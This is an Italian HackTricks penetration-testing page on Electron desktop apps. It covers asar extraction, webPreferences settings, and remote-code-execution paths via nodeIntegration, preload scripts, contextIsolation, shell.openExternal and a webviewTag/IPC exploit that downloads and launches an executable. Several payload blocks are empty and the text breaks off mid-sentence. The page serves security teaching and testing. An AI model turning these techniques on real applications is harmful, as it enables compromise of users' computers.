# Electron Desktop Apps
{{#include ../../../banners/hacktricks-training.md}}
## Introduzione
Electron combina un backend locale (con **NodeJS**) e un frontend (**Chromium**), anche se manca di alcuni meccanismi di sicurezza dei browser moderni.
Di solito puoi trovare il codice dell'app electron all'interno di un'applicazione `.asar`, per ottenere il codice è necessario estrarlo:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
Nel codice sorgente di un'app Electron, all'interno di `packet.json`, puoi trovare specificato il file `main.js` dove sono impostate le configurazioni di sicurezza.
```json
{
"name": "standard-notes",
"main": "./app/index.js",
```
Electron ha 2 tipi di processi:
- Processo Principale (ha accesso completo a NodeJS)
- Processo Renderer (dovrebbe avere accesso limitato a NodeJS per motivi di sicurezza)
.png>)
Un **processo renderer** sarà una finestra del browser che carica un file:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
Le impostazioni del **renderer process** possono essere **configurate** nel **main process** all'interno del file main.js. Alcune delle configurazioni **preveniranno all'applicazione Electron di ottenere RCE** o altre vulnerabilità se le **impostazioni sono configurate correttamente**.
L'applicazione electron **può accedere al dispositivo** tramite le API di Node, anche se può essere configurata per prevenirlo:
- **`nodeIntegration`** - è `off` per impostazione predefinita. Se attivato, consente di accedere alle funzionalità di Node dal renderer process.
- **`contextIsolation`** - è `on` per impostazione predefinita. Se disattivato, i processi main e renderer non sono isolati.
- **`preload`** - vuoto per impostazione predefinita.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - è disattivato per impostazione predefinita. Restriggerà le azioni che NodeJS può eseguire.
- Integrazione di Node nei Workers
- **`nodeIntegrationInSubframes`** - è `off` per impostazione predefinita.
- Se **`nodeIntegration`** è **abilitato**, questo consentirebbe l'uso delle **API di Node.js** nelle pagine web che sono **caricate in iframe** all'interno di un'applicazione Electron.
- Se **`nodeIntegration`** è **disabilitato**, allora i preload verranno caricati nell'iframe.
Esempio di configurazione:
```javascript
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
```
Alcuni **RCE payloads** da [qui](https://7as.es/electron/nodeIntegration_rce.txt):
```html
Example Payloads (Windows):
Example Payloads (Linux & MacOS):
```
### Cattura traffico
Modifica la configurazione start-main e aggiungi l'uso di un proxy come:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Esecuzione di Codice Locale in Electron
Se puoi eseguire localmente un'app Electron, è possibile che tu possa farla eseguire codice javascript arbitrario. Controlla come in:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
{{#endref}}
## RCE: XSS + nodeIntegration
Se **nodeIntegration** è impostato su **on**, il JavaScript di una pagina web può utilizzare facilmente le funzionalità di Node.js semplicemente chiamando `require()`. Ad esempio, il modo per eseguire l'applicazione calcolatrice su Windows è:
```html
```
## RCE: preload
Lo script indicato in questa impostazione è l**oaded prima di altri script nel renderer**, quindi ha **accesso illimitato alle API di Node**:
```javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
Pertanto, lo script può esportare node-features su pagine:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
```
```html:index.html
```
> [!NOTE] > **Se `contextIsolation` è attivato, questo non funzionerà**
## RCE: XSS + contextIsolation
Il _**contextIsolation**_ introduce i **contesti separati tra gli script della pagina web e il codice interno JavaScript di Electron** in modo che l'esecuzione di ciascun codice non influisca sugli altri. Questa è una caratteristica necessaria per eliminare la possibilità di RCE.
Se i contesti non sono isolati, un attaccante può:
1. Eseguire **JavaScript arbitrario nel renderer** (XSS o navigazione verso siti esterni)
2. **Sovrascrivere il metodo incorporato** che viene utilizzato nel preload o nel codice interno di Electron con una propria funzione
3. **Attivare** l'uso della **funzione sovrascritta**
4. RCE?
Ci sono 2 luoghi in cui i metodi incorporati possono essere sovrascritti: nel codice di preload o nel codice interno di Electron:
{{#ref}}
electron-contextisolation-rce-via-preload-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-electron-internal-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### Bypass dell'evento di clic
Se ci sono restrizioni applicate quando clicchi su un link, potresti essere in grado di bypassarle **facendo un clic centrale** invece di un normale clic sinistro.
```javascript
window.addEventListener('click', (e) => {
```
## RCE tramite shell.openExternal
Per ulteriori informazioni su questi esempi, controlla [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) e [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Quando si distribuisce un'applicazione desktop Electron, è fondamentale garantire le impostazioni corrette per `nodeIntegration` e `contextIsolation`. È stato stabilito che **l'esecuzione remota di codice lato client (RCE)** mirata a script di preload o al codice nativo di Electron dal processo principale è efficacemente prevenuta con queste impostazioni in atto.
Quando un utente interagisce con i link o apre nuove finestre, vengono attivati specifici listener di eventi, che sono cruciali per la sicurezza e la funzionalità dell'applicazione:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Questi listener sono **sovrascritti dall'applicazione desktop** per implementare la propria **logica aziendale**. L'applicazione valuta se un link navigato debba essere aperto internamente o in un browser web esterno. Questa decisione viene solitamente presa tramite una funzione, `openInternally`. Se questa funzione restituisce `false`, indica che il link deve essere aperto esternamente, utilizzando la funzione `shell.openExternal`.
**Ecco un pseudocodice semplificato:**
.png>)
.png>)
Le migliori pratiche di sicurezza di Electron JS sconsigliano di accettare contenuti non attendibili con la funzione `openExternal`, poiché potrebbe portare a RCE attraverso vari protocolli. I sistemi operativi supportano diversi protocolli che potrebbero attivare RCE. Per esempi dettagliati e ulteriori spiegazioni su questo argomento, si può fare riferimento a [questa risorsa](https://positive.security/blog/url-open-rce#windows-10-19042), che include esempi di protocolli Windows in grado di sfruttare questa vulnerabilità.
In macos, la funzione `openExternal` può essere sfruttata per eseguire comandi arbitrari come in `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Esempi di exploit di protocolli Windows includono:**
```html
```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
Questa vulnerabilità può essere trovata in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
Il **webviewTag** è una **funzionalità deprecata** che consente l'uso di **NodeJS** nel **processo di rendering**, che dovrebbe essere disabilitato in quanto consente di caricare uno script all'interno del contesto di preload come:
```xml
```
Pertanto, un attaccante che riesce a caricare una pagina arbitraria potrebbe utilizzare quel tag per **caricare un script di pre-caricamento arbitrario**.
Questo script di pre-caricamento è stato abusato per chiamare un **servizio IPC vulnerabile (`skype-new-window`)** che stava chiamando **`shell.openExternal`** per ottenere RCE:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
```
## Lettura di File Interni: XSS + contextIsolation
**Disabilitare `contextIsolation` consente l'uso di `` tags**, simile a `